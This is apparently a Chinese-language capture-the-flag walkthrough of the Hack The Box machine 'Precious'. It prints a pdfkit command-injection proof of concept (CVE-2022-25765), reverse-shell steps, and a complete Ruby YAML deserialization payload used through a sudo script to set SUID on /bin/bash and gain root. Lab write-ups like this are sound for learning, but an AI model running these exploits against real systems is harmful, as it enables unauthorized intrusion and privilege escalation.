靶机网址:
https://app.hackthebox.com/machines/Precious
使用nmap枚举靶机
nmap -sC -sV 10.10.11.189
发现域名,我们本地DNS解析一下
echo "10.10.11.189 precious.htb" >> /etc/hosts
然后访问网站
他的功能是将网站页面转换成PDF文件,我们本地用python开启一个http服务
python3 -m http.server 80
返回网站,然后输入
他将我目录下的文件转换为PDF了,我们保存一下这个pdf文件
exiftool 4pukysg1oivmrhiow532m9v4olsfv3p2.pdf
通过分析这个PDF文件,发现他使用的是pdfkit v0.8.6
通过google搜索,发现这个版本存在CVE-2022-25765漏洞
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
我们可以远程执行代码,poc为
http//ip?name=%20`command`
我们返回网站执行试试
成功执行了我们的命令,现在我们直接反弹shell即可
首先先用nc监听一个端口
https://www.revshells.com/
选择python3,修改ip和端口,回到靶机网页,然后粘贴这个命令即可
在home目录里找了一下,发现ruby用户目录下有一个奇怪的文件夹
config文件里存放着henry用户的密码,我们ssh登录即可
ssh [email protected]
在输入sudo -l时,发现有一个文件可以以sudo命令执行
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
通过google发现,yaml有一个反序列化的漏洞
payload为
https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
这里读取的是一个名叫dependencies.yml的文件,所以我们要把payload的文件名改成这个
执行
sudo /usr/bin/ruby /opt/update_dependencies.rb
成功执行了id命令,接下来赋予/bin/bash suid权限即可提权
执行
sudo /usr/bin/ruby /opt/update_dependencies.rb
成功赋予suid权限
/bin/bash -p
成功获得root权限